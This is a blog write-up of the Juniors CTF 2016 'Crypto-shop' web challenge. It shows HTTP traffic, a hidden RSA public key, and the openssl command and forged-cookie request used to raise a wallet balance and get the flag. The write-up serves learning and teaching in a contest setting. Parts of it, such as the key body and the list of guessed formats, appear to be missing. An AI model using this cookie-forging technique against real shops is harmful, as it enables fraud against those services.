Juniors CTF 2016 - Web500 Crypto-shop Write Up

Published on Sunday, 27 November 2016 in CTF, Security ; tagged with juniors, ctf, write-up, web, 500, challenge, rsa, cookie ; text version

I played the Juniors CTF 2016 this weekend with some friends of mine and it was quite fun! Since we missed the registration deadline, I sneakily joined the Securimag team and played with them.

Crypto-shop challenge

Among the different web challenges that we solved, @xarkes and I thought that Crypto-shop was one of the most interesting challs from the web category.


Accessing the web application, we are greated with a wonderful Russian web page:

Crypto-shop application

Basically it says that the file we want to buy is worth 140.3 gravitycoins, that our wallet is 32ca4862166b08c72787f4bf258cc2f09 and that our current balance is 0 gravitycoin. We supposed that we had to find a way to buy a gravitycoin in order to get the flag.


Using Burp, we see that when accessing the homepage:

GET /index.php HTTP/1.1

Two cookies are generated:

HTTP/1.1 200 OK
Date: Sat, 26 Nov 2016 19:50:51 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.45-0+deb7u5
Set-Cookie: gravitycoin=ga8c%2B5oOnlS%2B26EiReR%2Bh3y4HV0ArWvxYgYESCn7BLSpvL8pIZRc2Bsdd6lnXu%2BNk7app4QgamoAkoqW4zJCQA%3D%3D; expires=Tue, 06-Dec-2016 19:50:51 GMT; path=/
Set-Cookie: wallet=7b693c3fef8c70db769a8c665cde55ca; expires=Tue, 06-Dec-2016 19:50:51 GMT; path=/
Vary: Accept-Encoding
Content-Length: 2837
Connection: close
Content-Type: text/html

The wallet cookie is our wallet ID, shown on the home page but what is that gravitycoin wallet? It's a base64 encoded value that doesn't decode to anything meaningful so we assumed that it was encrypted. Could it be some kind of padding oracle attack?

When we modify one byte of the gravitycoin value, the application says "Current balance: incorrect value" (translated from Russian). Except from a reflected XSS in the wallet cookie, we couldn't find anything helpful at that time.

RSA public key

Trying to find more information to work with, we found that the web application had a robots.txt file:

GET /robots.txt HTTP/1.1

Listing some potentially interesting files maybe?

HTTP/1.1 200 OK
Date: Sat, 26 Nov 2016 18:11:42 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Wed, 23 Nov 2016 13:27:38 GMT
Accept-Ranges: bytes
Content-Length: 79
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain

User-agent: *
Disallow: /index.html
Disallow: /index.php
Disallow: /rsa.html

Let's check rsa.html:

GET /rsa.html HTTP/1.1

It might be what we are looking for:

HTTP/1.1 200 OK
Date: Sat, 26 Nov 2016 18:11:45 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Wed, 23 Nov 2016 13:27:38 GMT
Accept-Ranges: bytes
Content-Length: 303
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

<script type="text/javascript">



-----BEGIN PUBLIC KEY-----<br>
-----END PUBLIC KEY-----

It contains a public RSA key, interesting. Oh Sneaky bastards! If you try to access the resource from your web browser, you would be redirected to 403.html, which tells you that the access is denied. Hopefully we didn't waste time on that one since Burp doesn't care about the JavaScript.

RSA? What for?

Now that we got a RSA public key, what could we do with it? We thought that we could maybe factorize the key and decrypt the gravitycoin cookie value:

depierre$ openssl rsa -inform PEM -pubin -in key.pub -noout -text
Public-Key: (512 bit)
Exponent: 65537 (0x10001)

512bit? Hum, maybe it can be factorized after all... We used different tools such as Cryptool and YAFU but after running for a couple of hours, they still didn't yield any results so we gave up factorizing the key and moved on.

In brief:

Encrypt your own

What if, instead of finding the private key to decrypt our cookie, we forge our own gravitycoin cookie and encrypt it using the public RSA key we found?

One problem is that we don't know the format of the cookie but maybe we could guess it? Afterall, there are not that many parameters: the md5 hash for the wallet and 0 (our balance).

Since you can't encrypt strings longer than 53 bytes with the short RSA public key we found, we brainstormed for a minute to come up with potential formats the cookie could use so we could bulk-generate and bulk-encrypt cookies. Below is an extract of the potential formats we came up with:

### Placeholders to replace later
# w: wallet; W: md5
# g: gravitycoin; G: 0

In total, we generated 75 different cookies and tried all of them using Burp:

Burp Intruder

And the winner format is.......... G... We spent 30 minutes to come up with different formats and the correct one is of course the simplest (and also one of the last one we guessed).

We then generated a gravitycoin cookie with a value greater than 140.3:

depierre$ echo -n '200' | openssl rsautl -encrypt -pubin -inkey key.pub | base64

And bought the sh*t out of that file!

POST /index.php HTTP/1.1
Cookie: gravitycoin=jfxAOXheApfGd%2bC2AWaEIZJc/Lh65W1GFlLYG3hgyT4oTFifE3nzsw9QDOsu7FPiASU/JQwRVX1K0EayJ8gy1A%3d%3d; wallet=eb78b1c0d1d6259d5e1ac7f919ba8bba;
Content-Length: 0

Granting us what we were looking for:

HTTP/1.1 200 OK
Date: Sat, 26 Nov 2016 21:20:27 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.45-0+deb7u5
Accept-Ranges: bytes
Content-Length: 40
Content-Disposition: attachment; filename=b42e6n7o3f3f1c0m82oj3lg6zg5w7
Set-Cookie: gravitycoin=QeDhqsD5KMrWgiFT7WdWgyLsw1Wujhi8S3kAUZI03aSp33wlKvqcq8W5BCRQmmlcY7x%2F2998r%2BGejAmlUZf17w%3D%3D; expires=Tue, 06-Dec-2016 21:20:27 GMT; path=/
Connection: close
Content-Type: application/octet-stream


Flag: Stan_creator_6fsd%hjaB56_gravitycoins

Juniors 2016 Scoreboard

By the end of the CTF, we solved quite a lot of challenges and reached the 5th place :)

contactdepier.re License WTFPL2